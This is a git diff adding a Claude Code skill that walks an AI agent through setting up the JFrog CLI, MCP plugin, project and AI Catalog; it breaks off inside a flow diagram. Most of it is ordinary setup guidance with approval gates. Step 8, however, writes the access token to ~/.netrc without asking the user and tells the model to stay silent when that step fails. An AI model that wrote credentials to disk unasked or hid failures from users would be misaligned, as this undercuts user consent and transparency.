diff --git a/skills/jfrog-init/SKILL.md b/skills/jfrog-init/SKILL.md new file mode 100644 index 0000000..f356ba4 --- /dev/null +++ b/skills/jfrog-init/SKILL.md @@ -0,0 +1,593 @@ +--- +name: jfrog-init +description: Set up and verify the JFrog plugin. Run on first install, to complete initial configuration, or to diagnose a broken setup. +disable-model-invocation: true +compatibility: >- + Requires Node.js 18 or newer, and network access to the JFrog platform. +allowed-tools: Bash(node --version) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-catalog-runtime.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-cli.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-config.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jfrog-mcp.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-project.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-server-ping.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-re*.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" get*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" path*) Bash(node -e "import('${CLAUDE_SKILL_DIR}/scripts/jfrog-resolve-mcp-config.mjs').then(function(m){console.log(m.detectHarness())})") Bash(npx --version) Bash(uname:*) AskUserQuestion +metadata: + role: workflow +--- + +# /jfrog-init — verify and guide JFrog plugin readiness + +Walks a fixed, ordered checklist and stops at the first red result, guiding +the user through the matching fix before re-checking. Every detector in +`scripts/` is idempotent, read-only, JSON-emitting, and implemented in +Node (`.mjs`), so the same detector runs unmodified on macOS, Linux, and +Windows. Step 3's web-login uses this skill's own local `.mjs` scripts, +same as every other step. The one interactive fix step that isn't a Node +script at all is Step 1's Node install itself — a missing Node can't run +a `.mjs` installer, so that one step branches on OS or shell directly. + +Approval model — every user-approval point is detailed in its own Step +below (exact wording, `AskUserQuestion` payloads, forbidden phrases); +this is just the map: +- **`node`** — `AskUserQuestion` Yes/No before auto-installing (Step 1). +- **`jf` (JFrog CLI)** — `AskUserQuestion` Yes/No before auto-installing + (Step 2). +- **`jf config`** — `AskUserQuestion` picker (web login, in-session, vs. + access token, which never enters this conversation) (Step 3/4). +- **Project selection** — the user answers with a project name or key; + an `AskUserQuestion` picker offers the first two enumerated projects + plus "Other" (Step 6). +- Everything else in the walk is read-only, except Step 5's placeholder + substitution (writes the plugin's `mcp.json`, unattended by design — + no `AskUserQuestion`, see `references/script-invocation.md`), Step 8's + `~/.netrc` write (also unattended, no `AskUserQuestion` — see + `references/marketplace-setup.md`), and the Final summary's state + write below. + +Step 1's `nvm` install and `jfrog-install-jf-cli.mjs`, Step 3's +web-login scripts, Step 8's `jfrog-add-claude-marketplace.mjs` call, +and the Final summary's `jfrog-state-file.mjs set` call are +deliberately **not** in `allowed-tools` and will raise the harness's +own approval prompt — intended, not a misconfiguration; see +`references/script-invocation.md`. + +`${CLAUDE_SKILL_DIR}` below is this file's own directory. Claude Code +substitutes it automatically, identically, in both this text and the +`allowed-tools` Bash rules above — write it literally rather than +resolving it yourself, so the two stay byte-for-byte consistent +regardless of install depth (see `references/script-invocation.md`). On +a harness that doesn't perform this substitution (e.g. Cursor, which +doesn't consult `allowed-tools` for approval at all — every command +below still raises its own prompt there), replace it with the real +absolute path of this file's directory yourself, same as before. + +## At a glance (always-read core) + +- **Order matters.** Walk [Steps 1](#step-1-nodejs--18-installed)–[8](#step-8-claude-agent-plugin-marketplace-registered) + in exact order, stop at the first non-green result — except Step 5 + red/error, Step 6's one-retry cap, Step 7's "not entitled" and + "catalog unreachable" outcomes, and Step 8 entirely (all four + non-blocking). See + [The checklist, in order](#the-checklist-in-order). +- **`rc=$?` is mandatory** on every detector invocation — see + [Invoking scripts](#invoking-scripts-avoid-the-red-error-framing). A + bare `; true` hides every red/ask result as green. +- **Approval gates:** `AskUserQuestion` Yes/No before auto-installing + Node (Step 1) or `jf` (Step 2); `AskUserQuestion` picker for + web-login vs. token (Step 3/4); `AskUserQuestion` picker for project + selection (Step 6). Everything else is read-only except Step 5's + placeholder substitution, Step 8's `~/.netrc` write, and the Final + summary's state write. +- **Never surface the checklist.** Run silently — no step narration, no + raw JSON/exit codes, no branch-reasoning said out loud. See + [Customer-facing output](#customer-facing-output). +- **`` for Steps 4-7** always comes from the shared resolver + (explicit arg → `JF_SERVER_ID` → `isDefault` → sole configured server + → ask) — never invented, never `jf`'s own fallback. Step 8 reuses the + same value. See + [Resolving ``](#resolving-server-id-for-steps-4-7). +- **Persist state before the final summary** — run + `jfrog-state-file.mjs set` whenever Steps 1-4 are green, regardless of + Step 5/6/7. See [Final summary](#final-summary). +- **Never store, log, or print an access token** — credentials stay + inside `jf`'s own process or in-memory for one `fetch` call. **Step 8 + is the one deliberate exception** (writes `~/.netrc`) — see + [Step 8](#step-8-claude-agent-plugin-marketplace-registered) and + [Non-goals](#non-goals-out-of-scope-for-this-skill). +- **This skill is the exception to, not a consumer of, the base + [`../jfrog/SKILL.md`](../jfrog/SKILL.md)'s prerequisites** — do not + run its environment check as a gate before starting this walk. + +Steps: [1](#step-1-nodejs--18-installed) → [2](#step-2-jfrog-cli-installed) → +[3](#step-3-jf-connected-to-a-server) → [4](#step-4-server-reachable--credentials-valid) → +[5](#step-5-jfrog-mcp-plugin-file-has-a-jfrog-entry) → [6](#step-6-project-resolved) → +[7](#step-7-ai-catalog-reachable--user-entitled) → +[8](#step-8-claude-agent-plugin-marketplace-registered) + +## Prerequisites + +- **Read the base [`../jfrog/SKILL.md`](../jfrog/SKILL.md) for foundational + context** — JFrog Platform concepts and terminology, and the + [Server selection rules](../jfrog/SKILL.md#server-selection-rules-mandatory) + this skill's own "Resolving ``" section (below) follows the + same never-guess/never-infer philosophy of, via its own mechanism. +- **This skill is the exception that makes the base skill's prerequisites + true, not a consumer of them.** The base skill's + [environment check](../jfrog/SKILL.md#environment-check) assumes `jf` is + already installed at a working version — `/jfrog-init` is what gets a + user from nothing installed to that point. Do not run the base skill's + environment check as a gate before starting this walk; Steps 1-4 below + are this skill's own, more granular equivalent (Node, `jf` CLI install, + connection, credentials) purpose-built for the "nothing works yet" case. +- **Deliberately does not export `JFROG_CLI_USER_AGENT`**, unlike the + base skill's invariant — see `runJf()` in `scripts/lib/jf.mjs` for why + (telemetry-only impact). + +## Customer-facing output + +**The user does not need to see the checklist you are walking, but does +need to see what actually happened.** Run the detectors silently, +capture their output for your own reasoning, and surface only what the +user needs to know or act on: + +- **Do not** narrate step numbers ("Step 1…", "moving to Step 3…") + while the walk is in progress. +- **Do not** paste detector JSON, exit codes, or shell command output + into the reply. +- **Do not** narrate the branch-selection reasoning behind an + `AskUserQuestion` or plain-text prompt — e.g. explaining that + `unresolved` wasn't `"server"`, or that `candidatesWithNames` had two + or more entries, so this is "the generic ask using the first two + candidates." That reasoning (in `server-picker.md`, `project-picker.md`, + and the other reference docs' branch tables) is written for you to + follow silently, not to summarize out loud — the field names in it are + never user-facing. The only output the user sees at an ask point is + the prompt itself. +- **Do not** announce that you're about to run the checklist, or name + which check comes first — not even generically ("I'll run the setup + checklist silently, starting with the JFrog CLI check" is itself a + violation: it names a step while claiming to be silent). Silently + means no preamble message at all. Say nothing until you have + something the user needs to act on (an ask, a red result) or the + final summary. + +Instead: + +- **When everything passes**, give a short recap in the final summary + (see "Final summary" below): a short, emoji-based checklist — JF CLI + & Config, JFrog MCP Plugin, Project & AI Catalog — so the user sees + the end state of every check at a glance, not raw step numbers and + not the Node.js check (an implementation detail, not user-facing). +- **When something is red**, say *what's wrong in plain English* and + *what the user needs to do next*, in one or two sentences. Show the + exact command they need to run (they must see what they're + approving). +- **On failure, the raw detector error line is fair game** to include + verbatim as a debugging aid — one line, without the JSON wrapper. + +The rest of this file documents the flow **for you (the model)**, not +for the user. + +## Invoking scripts: avoid the red "Error" framing + +Every detector command shown below signals red/ask states via a +non-zero exit code, by design — append `; rc=$?; true` when invoking +any of them. **`rc=$?` is not optional**: every Step's branch table +below keys off the exit code, and a bare `; true` throws it away, so +every red and ask silently reads as green. **Read +`references/script-invocation.md` in full** before running any command +in this walk — the exact pattern and why it's required, not optional +background. + +## Flow + +**Follow this flow literally.** Every decision node is covered by a +detector or fix script below; every user-facing prompt uses the exact +wording documented in the corresponding step. Do not reorder, do not +skip, do not narrate the diagram to the user. Read +`references/flow-diagram.md` for the full flowchart before starting a +walk — the same logic as the Steps below, drawn as a map. + +## The checklist, in order + +1. **Node.js ≥ 18 installed?** — no script; run `node --version` / `npx --version` directly +2. **JFrog CLI (`jf`) installed?** — `scripts/jfrog-detect-jf-cli.mjs` +3. **`jf` connected to a server?** — `scripts/jfrog-detect-jf-config.mjs` +4. **Server reachable + credentials valid?** — `scripts/jfrog-detect-server-ping.mjs [server-id]` +5. **JFrog MCP plugin file has a jfrog entry?** — `scripts/jfrog-detect-jfrog-mcp.mjs [server-id]` +6. **Project resolved?** — `scripts/jfrog-detect-project.mjs [server-id] [project-input]` +7. **AI Catalog reachable & user entitled?** — `scripts/jfrog-detect-catalog-runtime.mjs [server-id]` +8. **Claude agent-plugin marketplace registered?** — `scripts/jfrog-add-claude-marketplace.mjs [server-id]`, Claude Code only + +Run detectors in this exact order and stop at the first non-green +result — except Step 5 going red/error (see Step 5), Step 6 hitting +its one-retry cap (see Step 6), Step 7's "not entitled" and "catalog +unreachable" outcomes (see Step 7), and Step 8 entirely (see Step 8), +all four non-blocking. Step +1 has no script — a Node script can't verify Node exists — so every +step after it is written in Node and can assume Node is present. The +JPD URL is read directly from +`jf config`; there is no separate +`JFROG_PLATFORM_URL` env var. The project key is asked every walk in +Step 6 (the state file at `~/.jfrog/setup.json` may supply a +"reuse the current project?" hint); Step 7's catalog probe takes no +project argument — it only checks catalog reachability and entitlement +for the resolved server. + +### Resolving `` for Steps 4-7 + +Order (used by every detector that takes `[server-id]` — resolved +through the single shared `scripts/jfrog-resolve-jf-server.mjs`): + +1. Explicit argument passed to the detector. +2. `JF_SERVER_ID` env var. +3. **The server flagged `"isDefault": true`** in `~/.jfrog/jfrog-cli.conf.v6` + — resolved automatically via `scripts/jfrog-resolve-jf-server.mjs`. +4. If only one server is configured, it is used silently. +5. Otherwise the detector exits **2 ("ask")** with a JSON `candidates` + list of the configured server IDs. **Stop and read + `references/server-picker.md` in full** — it has the exact + `AskUserQuestion` payload for showing the user the actual servers to + pick from; do not paraphrase or invent your own prompt. Never invent + a server, never rely on `jf`'s own fallback. + +## Step 1: Node.js ≥ 18 installed? + +```bash +node --version; true +npx --version; true +``` + +No script — Node's own binary is the only thing that can answer +"is Node installed", so there's nothing a script would check that +these two commands don't already answer directly. Checked first +because every other script in this walk — including every other +detector — is a Node program. `npx` matters because the JFrog MCP +server (`mcpServers.jfrog`, Step 5) is launched via `npx +@jfrog/agent-guard` — no `npx` means the MCP entry can't start, +regardless of everything else. + +Read the output yourself, no JSON to parse: + +- Either command errors (e.g. `command not found: node`) → **red**: + Node.js (or `npx`) is not installed / the install is broken. +- `node --version` prints a version like `v16.2.0` → parse the major + number yourself. `< 18` → **red**: "Node.js `` is too old — + jfrog-init requires Node ≥ 18." +- `node --version` ≥ 18 **and** `npx --version` succeeds → **green** → + proceed to Step 2. + +On red, **stop and read `references/node-install-prompt.md` in full +before responding to the user.** It has the exact `AskUserQuestion` +payload, the forbidden phrases, and the install commands — required +behavior, not optional background. Even on the install path there's no +detector *script*: a missing Node can't run a `.mjs` installer, so the +install is a bash/PowerShell command the model runs directly. + +## Step 2: JFrog CLI installed? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-cli.mjs"; rc=$?; true +``` + +- **Exit 0 (green)** → proceed to Step 3. +- **Exit 1 (red), `reason: "missing"`** → `jf` not found on PATH → **stop + and read `references/jf-cli-install-prompt.md` in full** — required + behavior, not optional background. +- **Exit 1 (red), `reason: "broken"`** → `jf` is on PATH but hung or + failed to run → **stop and read `references/jf-cli-install-prompt.md` + in full** — it has a separate payload for this case; required + behavior, not optional background. +- **Exit 1 (red), `reason: "outdated"`** → `jf` installed but below the + required minimum version → **stop and read + `references/jf-cli-update-prompt.md` in full** — required behavior, + not optional background. + +**Read `references/jf-cli-install-internals.md` for the full plan +A/B/C breakdown** — why this walk uses `npm install -g jfrog-cli-v2-jf` +instead of the base skill's OS-specific install docs, and how the +fallback to a checksum-verified direct binary download works. + +## Step 3: `jf` connected to a server? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-config.mjs"; rc=$?; true +``` + +Checked here (right after installing `jf`) so the JFrog CLI is +finished — install + auth — before the walk moves on to any other +prereqs. Keeps the "get `jf` working" story in one contiguous block +from the user's point of view. + +**This step does not pick or validate any specific server** — it only +checks that `jf config show` returns at least one configured server, +regardless of how many there are or whether one is marked `isDefault`. +If multiple servers are configured with none marked default, that +ambiguity is surfaced starting at Step 4, not here — see "Resolving +`` for Steps 4-7" above. + +- **Exit 0 (green)** → proceed to Step 4. +- **Exit 1 (red)** → `jf` is installed but not connected to any + server. **Stop and read `references/jf-config-auth-picker.md` in + full before responding to the user** — the Step 3 section has the + exact web-login-vs-token `AskUserQuestion`, this skill's own local + web-login script copies (no cross-skill call into the base `jfrog` + skill), and the token command template — required behavior, not + optional background. + +## Step 4: Server reachable + credentials valid? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-server-ping.mjs" "[server-id]"; rc=$?; true +``` + +**Stop and read `references/jf-config-auth-picker.md`'s "Step 4's full +branch table" section in full** — the two sub-checks and the required +exit-code branches (credentials-only fix on Exit 1, Exit 2 still +blocks) — required behavior, not optional background. + +## Step 5: JFrog MCP plugin file has a jfrog entry? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jfrog-mcp.mjs" "[server-id]"; rc=$?; true +``` + +Pass the same `` already resolved for Step 4 (empty string +if Step 4 resolved silently via default/single-server) — this reuses +it for the placeholder fix instead of re-resolving from scratch. + +**Read-only against the JFrog plugin's own `mcp.json` — with one +exception: automatic placeholder substitution** of an unresolved +`${JFROG_PLATFORM_URL}` / `${JFROG_URL}` with the real JPD URL from +`jf config`. + +**Stop and read `references/mcp-plugin-config.md` in full** — exactly +how the substitution works, the per-harness plugin-config paths, and +the required exit-code branches (Exit 1/3 non-blocking, Exit 2 the one +outcome that still blocks) — required behavior, not optional +background. + +## Step 6: Project resolved? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-project.mjs" "[server-id]" "[project-input]"; rc=$?; true +``` + +**State reuse across walks.** Before asking the user for a project, +**stop and read `references/project-state-reuse.md` in full** — it has +the exact "reuse ``?" `AskUserQuestion` and the jpdUrl-drift check +this step requires, not optional background. + +**Where the project list comes from.** `jfrog-detect-project.mjs` fetches +`GET /access/api/v1/projects` (the +[GetProjectsList](https://docs.jfrog.com/projects/reference/getprojectslist) +endpoint, authenticated with credentials from `jf config export`) once +per walk and caches it in memory for a short TTL (`lib/project-cache.mjs`) +— the interactive picker re-invokes this script once per user attempt, +and re-enumerating on every typed guess would be wasted network traffic. +This is the list every "enumerated project list" / `candidatesWithNames` +reference below draws from. + +**Name-or-key input.** The user answers with **either** the project's +canonical key OR its display name — whichever is easier for them. +`jfrog-detect-project.mjs` resolves it against the enumerated project +list (exact key, exact name, then progressively fuzzier tiers — see +`references/project-matching.md` for the exact algorithm), confirms +existence, and emits the canonical key on green in the JSON +`resolvedKey` field. An ambiguous input exits red with `candidates` +listing the tied keys. + +**Picking a project, interactively.** Whenever the detector needs the +user to choose — no input was passed, the typed input didn't match +anything (404), or it matched more than one project (ambiguous) — +**stop and read `references/project-picker.md` in full before +responding to the user.** It has the exact `AskUserQuestion` payload +shapes for each case (a 404 with close suggestions, an ambiguous or +missing input, and the no-`AskUserQuestion` plain-text fallback) and +the forbidden-phrasing rules for each — this is required behavior for +the step, not optional background. + +**Stop and read `references/project-resolution-branches.md` in full** +for exactly how to branch on the detector's exit code (green / ask / +red with the one-retry cap / error) — required behavior, not optional +background. + +## Step 7: AI Catalog reachable & user entitled? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-catalog-runtime.mjs" "[server-id]"; rc=$?; true +``` + +**Stop and read `references/catalog-runtime-branches.md` in full** — +the two sub-checks (anonymous reachability, authenticated entitlement) +and the required exit-code branches (Exit 1 "not hosted/unreachable" +and Exit 4 "not entitled" are both non-blocking; Exit 2 still blocks) — +required behavior, not optional background. + +## Step 8: Claude agent-plugin marketplace registered? + +Two preconditions, in this order. **Step 7 must have been green** — the +marketplace is served by the same AI Catalog that Step 7 probes, so +after a non-blocking red there (unreachable, or not entitled) there is +nothing to register. Then, **Claude Code only** — check the current +harness by reusing `detectHarness()` from +`scripts/jfrog-resolve-mcp-config.mjs` (the same export Step 5 already +uses), e.g. +`node -e "import('${CLAUDE_SKILL_DIR}/scripts/jfrog-resolve-mcp-config.mjs').then(function(m){console.log(m.detectHarness())})"`. + +If either precondition fails, **skip this step silently** — never run +the script below, no `AskUserQuestion`, no note anywhere, not even in +the Final Summary. Treat it exactly as if Step 8 didn't exist for this +walk. + +Otherwise run: + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-add-claude-marketplace.mjs" "[server-id]"; rc=$?; true +``` + +Pass the same `` already resolved for Step 4 (empty string +if Step 4 resolved silently via default/single-server). + +**Stop and read `references/marketplace-setup.md` in full before +acting on the exit code** — required behavior, not optional +background. + +- **Exit 0 (green)** → success. The last stdout line is + `Successfully added marketplace: ` — extract + `` for the Final Summary's trailing line. +- **Exit 1 or 3 (red)** → non-blocking failure. Say **nothing** — + exactly as in the skip above, not even in the Final Summary, and never + volunteer which cause it was. + +## Final summary + +**Persist the walk's state before rendering any outcome below.** +Whenever Steps 1-4 are green (regardless of what Step 5/6/7 reported), +run: + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" set "" "" ""; rc=$?; true +``` + +using the server-id resolved earlier in this walk, Step 4's own +`jpdUrl` field (present on its green JSON result), and Step 6's project +key — its `resolvedKey` on green, or `""` if Step 6 never resolved one +(ambiguous input, 404, 403, or the one-retry cap was hit). This is the +only thing that writes `~/.jfrog/setup.json` when the walk is followed +step-by-step; it's the same file Step 6's "reuse ``?" prompt +(`project-state-reuse.md`) reads on a future walk, so skipping this call +means that prompt has nothing to offer next time. Skip it only if Steps +1-4 themselves didn't all pass — there's nothing resolved yet to +persist. (Running the whole walk via `jfrog-detect-all.mjs` instead — +see "Running everything at once" below — does this same write itself; +don't call both.) + +**Give the user a short recap, not the raw checklist.** See +"Customer-facing output" above — no step numbers, no raw JSON. Render a +short, emoji-based checklist, not a prose paragraph or a five-line +plain-text list. Three grouped lines cover all five checks: + +- **JF CLI & Config** — Steps 2-4 (`jf` installed and connected to a + server). Always fully resolved here — this checklist only renders + once Steps 1-4 all passed (see "Anything else red" below for the + alternative). +- **JFrog MCP Plugin** — Step 5. +- **Project & AI Catalog** — Steps 6 and 7 together. + +Skip Node.js (Step 1) — implementation detail, not user-facing. + +**Rules for the checklist:** +1. Do **not** use the word "done" anywhere in it. +2. Keep it to exactly these three grouped lines — never expand back out + to five. +3. All three groups fully resolved → use this exact format, verbatim: + + > ✨ **JFrog initialization complete!** + > ✅ JF CLI & Config + > ✅ JFrog MCP Plugin + > ✅ Project & AI Catalog + +4. A group with something outstanding gets ⚠️ instead of ✅, plus a + short fact after an em dash: + + > ✨ **JFrog initialization complete!** + > ✅ JF CLI & Config + > ⚠️ JFrog MCP Plugin — not configured + > ✅ Project & AI Catalog + + For the merged **Project & AI Catalog** line, if only one of the two + is outstanding name just that one; if both are, separate them with a + semicolon: `⚠️ Project & AI Catalog — project not set up yet; catalog + access not entitled`. + +5. **Step 8's outcome is never a fourth checklist line** — still exactly + three grouped lines above. On Claude Code only, append one trailing + sentence after the checklist block: + - **Success** — this exact wording, do not reword it: + + > Added the JFrog marketplace `` to Claude Code. + > Browse available plugins with `/plugins`, or install directly with + > `claude plugin install @` + + - **Failed/error, or skipped** — nothing. + +Never phrase a ⚠️ line as a failure or as something the user needs to +fix before continuing — these three are non-blocking by design. The +short fact after the em dash is the same underlying cause this skill +has always surfaced, just worded without "pending": + +- **Step 5 red/error (MCP plugin not configured):** `not configured`. + If the user asks why or how to fix it, that's when the specific cause + from Step 5's `detail` comes in — either run + `jfrog-reinstall-jfrog-plugin.mjs` (see Step 5) for the per-harness + reinstall remedy, or point at resolving `jf config`, matching + whichever cause Step 5 actually reported. +- **Step 6 hit its retry cap (no project resolved):** `project not set + up yet`. If the user asks, mention they can pick one whenever they're + ready. The server/JPD are still recorded to the state file either way + (see the persistence step at the top of this section); a project + picked in an earlier walk, if any, is left as-is rather than cleared. +- **Step 7 returned exit 4 (not entitled):** `catalog access not + entitled`. If the user asks for the fix: ask your JFrog admin for the + "AI Catalog Read" role to browse or install MCPs from the catalog. +- **Step 7 returned exit 1 (catalog not hosted / unreachable):** + `catalog not reachable on this JPD`. No fix instruction; there may be + nothing to fix (this JPD may simply not host the AI Catalog). +- **Something happened this walk** (Node.js/`jf` CLI installed, `jf + config` connected, a project resolved in Step 6, an MCP placeholder + substituted in Step 5, etc.): still the same checklist — the action + itself isn't called out per-line, ✅ is ✅ regardless of whether it + needed fixing this walk. +- **Anything else red** (Steps 1-4 not all green): one or two sentences + naming what's blocking and what to do next, no checklist — there's + nothing to check off yet. Include the raw detector error line if it + helps debug, without the JSON wrapper. + +## Running everything at once + +**Read `references/batch-walk.md` in full** for `jfrog-detect-all.mjs`'s +exact semantics — the non-blocking exceptions, the JSON summary +fields, and the state-file write behavior. + +## Non-goals (out of scope for this skill) + +- Installing the JFrog IDE plugin, or replacing its auto-config. +- Installing the VS Code hook. +- A first-MCP wizard for an empty catalog. +- Persisting the picked **project key** to `JF_PROJECT` or any shell + profile. Step 6 asks every walk and threads the pick forward as a + positional argument only — nothing about project selection ever + touches a shell profile. (Two other, unrelated things in this walk + *do*: Step 1's `nvm`-based Node install, and Step 2's Plan C fallback + when npm itself isn't usable — both append one PATH line to the + user's shell rc file, disclosed up front in the install consent + prompts, see `node-install-prompt.md` / `jf-cli-install-prompt.md`. + Plans A/B of Step 2 — the common case — don't touch a shell profile + at all, relying on npm's own global bin directory instead.) +- Granting AI Catalog roles/permissions — Step 7 only instructs. +- Storing access tokens to disk, logging them, or printing them. + Step 4's authenticated check keeps the credential inside `jf`'s own + process (`jf rt ping`); Steps 6 and 7 extract it from `jf config + export` only in memory, for one `fetch` call. Step 3/4's token-based + `jf config` path (see `references/jf-config-auth-picker.md`) never + touches this skill or the model at all — the user runs that command + themselves. **Step 8 is the one deliberate exception** — it writes + the token to `~/.netrc`; see `references/marketplace-setup.md`. + +## Before you run `/jfrog-init` — checklist + +[At a glance](#at-a-glance-always-read-core) invariants: + +- [ ] Walk Steps 1-8 in exact order; stop at the first non-green result + (Step 5 red/error, Step 6's retry cap, Step 7 "not entitled" or + "unreachable", and Step 8 entirely are non-blocking) +- [ ] Every detector invocation appends `; rc=$?; true` — never a bare + `; true` +- [ ] `AskUserQuestion` before auto-installing Node (Step 1) or `jf` + (Step 2); picker for web-login vs. token (Step 3/4); picker for + project selection (Step 6) +- [ ] Silent walk — no step narration, no raw JSON/exit codes, no + branch-reasoning surfaced to the user +- [ ] `` for Steps 4-8 comes only from the shared resolver — + never invented, never `jf`'s own fallback +- [ ] Steps 1-4 green → `jfrog-state-file.mjs set + ` before rendering the final summary +- [ ] Never store, log, or print an access token — except Step 8's + `~/.netrc` write +- [ ] Read the base `../jfrog/SKILL.md` for context; do not run its + environment check as a gate before this walk diff --git a/skills/jfrog-init/references/batch-walk.md b/skills/jfrog-init/references/batch-walk.md new file mode 100644 index 0000000..c590e4a --- /dev/null +++ b/skills/jfrog-init/references/batch-walk.md @@ -0,0 +1,38 @@ +# Running everything at once — jfrog-detect-all.mjs + +`node scripts/jfrog-detect-all.mjs [server-id] [project-key]` runs Steps 1–7 +in order and stops at the first non-green result — except Step 5 going +red/error, Step 6 going red (ambiguous/404/403), and Step 7 going red +in either of its two non-blocking shapes (exit 1: catalog not hosted / +unreachable / 5xx, or exit 4: reachable but not entitled), all of which +are non-blocking: Steps 1-4 passing is what "green" means here, +and the MCP-plugin, project-resolution, and catalog-availability gaps +are each reported as separate signals. This script makes exactly one +project-resolution attempt per invocation and has no way to tell a +first attempt from a last one, so it always treats a Step 6 red as +non-blocking — the interactive walk (see Step 6 in `SKILL.md`) is what +enforces the one-retry cap before giving up. Steps 5's, 6's, and 7's own +`ask`/`error` outcomes (ambiguous server-id, no project input passed, +`jf` missing/credentials rejected) still block, same as every other +step's genuine stop. If no project key is passed, Step 6 emits `ask` +with candidates and the walk halts; the caller re-invokes with the +picked project as arg 2 — unless that `ask` carries `"unresolved": +"server"`, in which case it's a server pick (see Step 6's branches) and +the re-invocation picks server-id (arg 1) instead. + +Exit 0 = Steps 1-4 green (MCP configured or not, project resolved +or not, catalog entitled or not); exit 1 = something needs fixing. The +final JSON line adds `mcpConfigured: true|false`, `projectResolved: +true|false`, and `catalogEntitled: true|false` so a caller can tell the +exit-0 cases apart — plus `catalogReason: "unreachable" | "not_entitled"` +whenever `catalogEntitled` is `false`, so the Final Summary can name the +specific gap instead of a generic one. Writes the `~/.jfrog/setup.json` +state-file hint whenever Steps 1-4 are green, **regardless of +`projectResolved`, `mcpConfigured`, or `catalogEntitled`** — the server +and JPD URL are worth remembering on their own, independent of whether +a project got picked, the MCP plugin is wired up, or the AI Catalog is +reachable/the user is entitled to it. An unresolved project is passed +to `jfrog-state-file.mjs` as an empty key, which leaves any previously +recorded `currentActiveProject` alone rather than erasing it (see +`jfrog-state-file.mjs`); it's never written as a fresh, unvalidated +value. diff --git a/skills/jfrog-init/references/catalog-runtime-branches.md b/skills/jfrog-init/references/catalog-runtime-branches.md new file mode 100644 index 0000000..cae6cd5 --- /dev/null +++ b/skills/jfrog-init/references/catalog-runtime-branches.md @@ -0,0 +1,68 @@ +# Step 7 — AI Catalog reachable & entitled: mechanics and branches + +Two sub-checks against +`/ml/core/api/v1/mcp-registry/ml-projects?pageSize=1` (where +`` is the URL stored in `jf config` for the resolved server — +this skill never uses a separate `JFROG_PLATFORM_URL` env var), both +must pass. This step is **purely about AI Catalog access** — no +runtime checks (Node lives in Step 1; `uv` / `docker` are per-MCP +concerns, not this skill's). + +1. **Anonymous** GET — proves the endpoint is deployed at this JPD. + `2xx/401/403/405/406` = up; `404` / connection failure = red. +2. **Authenticated** GET to the same path, with the bearer token (or + user+password) extracted from `jf config export` — same credential + source `jf` itself uses (token / user+password / SSO refresh, + whatever's stored), so the skill never asks for or invents + credentials, and the token only lives in memory for this one + request. `2xx` = user is **entitled** to read the AI Catalog on + this JPD; `403` = reachable but **not entitled**, non-blocking. + `401` means the credentials themselves were rejected — that says + nothing about entitlement, so it is treated as a blocking error + instead (see Exit 3 below). + +Splitting reachability from entitlement produces two distinct +outcomes: check 1 red = "this JPD doesn't host AI Catalog, or it's +unreachable right now"; check 2's `403` = "catalog is up but your +user isn't entitled." Neither is a setup failure — both are +non-blocking permissions/availability gaps the rest of the walk doesn't +depend on (see the exit-code branches below). Check 2's `401` is +different — it means `jf`'s own credentials are invalid or expired, +which is a genuine setup problem (Exit 3). + +**Required branches:** + +- **Exit 0 (green)** → done. All checks pass, including entitlement. +- **Exit 1 (red)** → anon probe 404 / connection failure / 5xx — the + platform may not host AI Catalog, or it's unreachable right now. + **Non-blocking** — same reasoning as Exit 4 below: Steps 1-4 are + this skill's core prerequisites, and none of them depend on the AI + Catalog being present. Proceed to the Final Summary, but append a + note naming the gap (`catalogReason: "unreachable"` in + `jfrog-detect-all.mjs`'s summary — see `batch-walk.md`). +- **Exit 2 (ask)** → multiple servers configured, none marked + `isDefault`, no server-id passed. Same handling as Step 4's exit 2: + **stop and read `references/server-picker.md` in full**, then + re-invoke Step 7 with the pick as either the positional argument or + `JF_SERVER_ID`. +- **Exit 3 (error)** → `jf` missing, the authed probe returned `401` + (credentials themselves rejected — re-run `jf config add + --interactive`), or an unexpected HTTP code (e.g. a broken `jf` + config surfacing here instead of at Step 4). This is the one genuine + stop this step has — a real error, not a "catalog isn't available" + gap. +- **Exit 4 (not entitled)** → catalog is reachable but the authed probe + returned `403`. **Non-blocking** — proceed to the Final Summary, but + append the entitlement note (`catalogReason: + "not_entitled"`). The detector's `detail` names the specific endpoint + path (`/ml/core/api/v1/mcp-registry`) and the role the admin needs to + grant (typically "AI Catalog Read" or "Application Admin"), so the + user can forward an actionable request rather than a shrug. + +Exit 1 and Exit 4 are deliberately handled the same way at the walk +level (see `batch-walk.md`) — both leave `catalogEntitled: false`, and +only differ in `catalogReason`, so the Final Summary can say "no AI +Catalog here" vs. "you're not entitled" accurately instead of collapsing +both into one generic gap. + +**Never** grant a role or invent a project. diff --git a/skills/jfrog-init/references/flow-diagram.md b/skills/jfrog-init/references/flow-diagram.md new file mode 100644 index 0000000..5467430 --- /dev/null +++ b/skills/jfrog-init/references/flow-diagram.md @@ -0,0 +1,114 @@ +# /jfrog-init — full flow diagram + +Visual companion to the numbered Steps in `SKILL.md`. Every decision +node here is also fully documented — including the exact user-facing +wording — in the corresponding Step section of `SKILL.md`; this diagram +adds nothing new, it's a compressed map of that same prose for +at-a-glance orientation. `SKILL.md`'s Step-by-step text is the +authoritative source for wording and behavior — follow it literally. + +```mermaid +flowchart TD + Start(["/jfrog-init"]) --> S1 + + S1["1. Node.js >= 18 installed? (no script — node --version / npx --version)"]:::stepBox + S1 -->|no| ASKNODE["AskUserQuestion: Install Node.js now? Yes/No"]:::fixBox + ASKNODE 